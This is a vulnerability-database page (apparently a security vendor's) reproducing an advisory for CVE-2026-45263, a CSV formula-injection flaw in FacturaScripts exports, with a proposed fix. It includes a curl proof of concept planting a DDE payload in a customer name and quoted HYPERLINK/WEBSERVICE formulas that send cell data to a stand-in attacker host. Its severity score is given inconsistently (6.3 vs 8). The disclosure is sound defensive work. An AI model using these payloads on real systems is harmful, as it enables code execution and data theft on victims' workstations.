How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

361,925

Total vulnerabilities in the database

CVE-2026-45263 — facturascripts / facturascripts

Improper Neutralization of Formula Elements in a CSV File

Summary

> Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A low-privilege user (lowpriv) created a customer with nombre = "=SUM(1+1)*cmd|/c calc!A1". An admin then exported ListCliente to CSV via ?action=export&option=CSV. The downloaded file contains the raw payload as the first cell of the nombre column, with no leading single quote and no escape. Excel and LibreOffice will execute the formula on open, including DDE invocations such as =cmd|'/c calc'!A1 that spawn arbitrary processes on the admin workstation.

Core/Lib/Export/CSVExport.php::writeData() wraps every cell in the configured delimiter (") and concatenates without inspecting the first character of the value. Spreadsheet applications interpret a cell that starts with =, +, -, @, \t, or \r as a formula. Because FacturaScripts only sanitises HTML metacharacters (< > " ') on save via Tools::noHtml() (Core/Tools.php:45), the formula prefix characters survive untouched all the way to the export. The downstream consumer is the admin who triggered the export, giving the attacker a reliable handoff: low-priv user plants a payload in any text field that ships in the default list export, admin downloads the CSV (all normal billing/sales/purchasing workflow), and the admin's spreadsheet client runs the formula in the admin's local context.

Details

the export does not neutralise leading meta-characters

Core/Lib/Export/CSVExport.php:253-267:

public function writeData(array $data, array $fields = [])
{
    if (!empty($fields)) {
        $this-&gt;writeHeader($fields);
    }

    foreach ($data as $row) {
        $line = [];
        foreach ($row as $cell) {
            $line[] = is_string($cell) ? $this-&gt;getDelimiter() . $cell . $this-&gt;getDelimiter() : $cell;
        }

        $this-&gt;csv[] = implode($this-&gt;separator, $line);
    }
}

A string cell is rendered as "<value>". There is no str_starts_with(...) check for the formula trigger characters (= + - @ \t \r per OWASP CSV-injection guidance) and no leading single-quote guard that Excel and LibreOffice both treat as "force as text". The same writer is reused for every list and document export through addListModelPage(), addModelPage(), addBusinessDocPage(), and addTablePage().

the upstream sanitiser only scrubs HTML, not formulas

Core/Tools.php:45-46:

const HTML_CHARS = [&#039;&lt;&#039;, &#039;&gt;&#039;, &#039;&quot;&#039;, &quot;&#039;&quot;];
const HTML_REPLACEMENTS = [&#039;&amp;lt;&#039;, &#039;&amp;gt;&#039;, &#039;&amp;quot;&#039;, &#039;&amp;#39;&#039;];

Tools::noHtml() is the canonical input filter that models call from their test() method (e.g. Cliente::test() at Core/Model/Cliente.php:319-321). It strips angle brackets and quotes, none of which collide with the formula-injection alphabet. As a result, the =, +, -, @ characters reach storage verbatim and the export pipeline emits them verbatim.

the export controller hands the payload back to whoever triggers it

Core/Lib/Export/CSVExport.php:240-245:

public function show(Response &amp;$response)
{
    $response-&gt;headers-&gt;set(&#039;Content-Type&#039;, &#039;text/csv; charset=utf-8&#039;);
    $response-&gt;headers-&gt;set(&#039;Content-Disposition&#039;, &#039;attachment; filename=&#039; . $this-&gt;getFileName() . &#039;.csv&#039;);
    $response-&gt;setContent($this-&gt;getDoc());
}

Content-Disposition: attachment plus an .csv extension causes browsers to save the file. Double-clicking the downloaded file opens it in Excel/LibreOffice/Numbers, which honour formula execution by default. The attacker payload runs on the admin's machine with the admin's privileges, in a security context entirely outside the FacturaScripts blast radius.

default permission model exposes the data ingestion

A user role only needs Update/Insert access to one of the default exportable models (Cliente, Proveedor, Producto, Variante, Contacto, etc.) to plant a payload. The admin export surface is reachable on the same controllers via ?action=export&option=CSV. There is no separate confirmation step that warns the admin the export contains untrusted content.

PoC

# 0. Setup: create a low-privilege user with role granting access to ListCliente/EditCliente.
#    (script in advisory environment, see also the prompt&#039;s helper).

# 1. Log in as the low-privilege user and obtain a CSRF token.
TOKEN=$(curl -s -c /tmp/fs-low-cookie &#039;http://127.0.0.1:8081/login&#039; \
  | grep -oP &#039;name=&quot;multireqtoken&quot; value=&quot;\K[^&quot;]+&#039; | head -1)
curl -s -b /tmp/fs-low-cookie -c /tmp/fs-low-cookie \
  --data-urlencode &quot;fsNick=lowpriv&quot; \
  --data-urlencode &quot;fsPassword=lowpriv1234&quot; \
  --data-urlencode &quot;multireqtoken=$TOKEN&quot; \
  --data-urlencode &quot;action=login&quot; \
  http://127.0.0.1:8081/login -o /dev/null

# 2. Get a fresh CSRF token for the EditCliente form.
TOKEN=$(curl -s -b /tmp/fs-low-cookie http://127.0.0.1:8081/EditCliente \
  | grep -oP &#039;multireqtoken&quot; value=&quot;\K[^&quot;]+&#039; | head -1)

# 3. Plant a Dynamic Data Exchange payload as the customer name.
curl -s -b /tmp/fs-low-cookie -X POST http://127.0.0.1:8081/EditCliente \
  --data-urlencode &quot;multireqtoken=$TOKEN&quot; \
  --data-urlencode &quot;action=insert&quot; \
  --data-urlencode &#039;nombre==SUM(1+1)*cmd|/c calc!A1&#039; \
  --data-urlencode &quot;cifnif=11111111H&quot; \
  -o /dev/null

# 4. As any admin, trigger the standard list-customers CSV export.
curl -s -b /tmp/fs-cookie2 \
  &#039;http://127.0.0.1:8081/ListCliente?action=export&amp;option=CSV&#039; \
  -o /tmp/export.csv

# 5. Confirm the formula payload survives unsanitised.
grep -F &#039;=SUM(1+1)*cmd|/c calc!A1&#039; /tmp/export.csv
# Output (verified):
# &quot;11111111H&quot;;&quot;&quot;;&quot;1&quot;;&quot;&quot;;...;&quot;=SUM(1+1)*cmd|/c calc!A1&quot;;&quot;&quot;;&quot;&quot;;&quot;&quot;;&quot;=SUM(1+1)*cmd|/c calc!A1&quot;;...

Opening /tmp/export.csv in Microsoft Excel triggers the Dynamic Data Exchange dialog, which on a default-trusted document or after a single user click runs cmd /c calc. LibreOffice Calc evaluates =SUM(1+1)*cmd|/c calc!A1 and produces the same DDE attempt. The admin sees nothing in the FacturaScripts UI to indicate that a CSV row contained a formula.

Impact

Code execution on admin workstations. The DDE/HYPERLINK payload runs in the admin's spreadsheet client outside any container, with the admin OS user's privileges. Beachhead for full host takeover.
Credential theft. Common variants (=HYPERLINK("https://attacker/?p=" & A1, "Click"), =WEBSERVICE("https://attacker/?p=" & A1)) exfiltrate adjacent cell values (customer names, fiscal IDs, balances) when the admin clicks the cell.
Trust laundering. Because the file came from "our own ERP" the admin has no reason to suspect the attachment, defeating the "do not run untrusted spreadsheets" hygiene that would otherwise apply.
Trivial preconditions. Any user role that can create or update a customer / supplier / product / contact (the bulk of accounting and sales staff) can stage the payload. The admin export action is unchanged from default and ships in the install.

AV:N (the attacker only needs an authenticated browser session), AC:L (single POST), PR:L (low-privilege role), UI:R (admin must download and open the CSV, but this is the standard accounting workflow), S:U (impact contained to FacturaScripts data + admin host), C:H I:H A:H (full read/write/execute on the admin workstation once the DDE/macro fires). Score 6.3.

Recommended Fix

Neutralise formula leaders at write time inside CSVExport::writeData() so the export pipeline itself enforces the protection regardless of upstream sanitisation.

private const FORMULA_TRIGGERS = [&#039;=&#039;, &#039;+&#039;, &#039;-&#039;, &#039;@&#039;, &quot;\t&quot;, &quot;\r&quot;];

public function writeData(array $data, array $fields = [])
{
    if (!empty($fields)) {
        $this-&gt;writeHeader($fields);
    }

    foreach ($data as $row) {
        $line = [];
        foreach ($row as $cell) {
            if (is_string($cell) &amp;&amp; $cell !== &#039;&#039; &amp;&amp; in_array($cell[0], self::FORMULA_TRIGGERS, true)) {
                $cell = &quot;&#039;&quot; . $cell;          // force-as-text per OWASP CSV-injection prevention
            }

            $line[] = is_string($cell)
                ? $this-&gt;getDelimiter() . str_replace($this-&gt;getDelimiter(), $this-&gt;getDelimiter() . $this-&gt;getDelimiter(), $cell) . $this-&gt;getDelimiter()
                : $cell;
        }

        $this-&gt;csv[] = implode($this-&gt;separator, $line);
    }
}

Apply the same neutralisation in writeHeader(), in XLSExport::getCursorRawData() (lines 226-236 - the Tools::fixHtml helper does not address formulas), and in any other future exporter that emits spreadsheet-loadable formats.

A regression test should:

Insert a customer with nombre = '=SUM(1+1)'.
Render the list to CSV via CSVExport->writeData().
Assert the resulting line begins with "'=SUM(1+1)", not "=SUM(1+1)".
Assert nombre containing an embedded delimiter (a"b) is correctly doubled to "a""b".

Defence in depth: emit Content-Type: text/csv; charset=utf-8 plus a Content-Disposition filename that the operator's MUA/browser cannot trivially confuse for a trusted XLSX (e.g. always *.csv, never *.xls or *.xlsx), and document in SECURITY.md that exports must be opened with the spreadsheet's "Import Text" / "From Text/CSV" wizard until the application is upgraded.

Published: Jul 14, 2026
Updated: Jul 15, 2026
CVE: CVE-2026-45263
GHSA: GHSA-2p5x-4jr6-x5jg
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 8
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWEs:

CWE-1236

Affected Software
References

Software	From	Fixed in
facturascripts / facturascripts	-	2026.1.x

https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-2p5x-4jr6-x5jg

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.